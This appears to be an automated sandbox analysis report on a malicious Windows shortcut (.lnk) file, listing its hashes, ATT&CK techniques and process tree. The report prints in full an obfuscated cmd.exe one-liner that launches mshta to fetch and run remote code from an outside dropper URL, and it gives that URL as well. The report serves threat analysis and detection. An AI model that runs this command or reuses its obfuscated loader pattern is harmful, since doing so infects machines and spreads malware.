378f9b5ae5b0429db666d81ccf7de4f75bc29c9649e4e540c38741022454ae0b

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PDFDOC-3WLI0Y.lnk
Size 1KB
Sample260803-q2rxea1bma
SHA256 378f9b5ae5b0429db666d81ccf7de4f75bc29c9649e4e540c38741022454ae0b
MD5 1f9c55d5475d51d8c0e631fdbb1f1db6
SHA1 f5cb1f53e93cd2f085e117ade5f694355698725c
SHA512 8d25c22ee24ae466a09d2570b22d7dc5affc057671411f59e03adbc6a14ec30ede7cdd527d9a05399a5ca1dbf2b33af44a0fb88a38602423821ae63e5e4651bd
TLSH
T1833197003EF90664F3F3CF7285BB572049BB78468D20CA2D4040854C1032A05E5BBF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5224	mshta.exe
4	5224	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3820	cmd.exe
5656	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 5656	3820	cmd.exe	91
PID 5656 wrote to memory of 5224	5656	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PDFDOC-3WLI0Y.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3820
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set yGw=msh&&set FibB=ta&&start "" !yGw!!FibB! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5656
- - C:\Windows\System32\mshta.exe
    mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    - Badlisted process makes network request
    PID:5224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads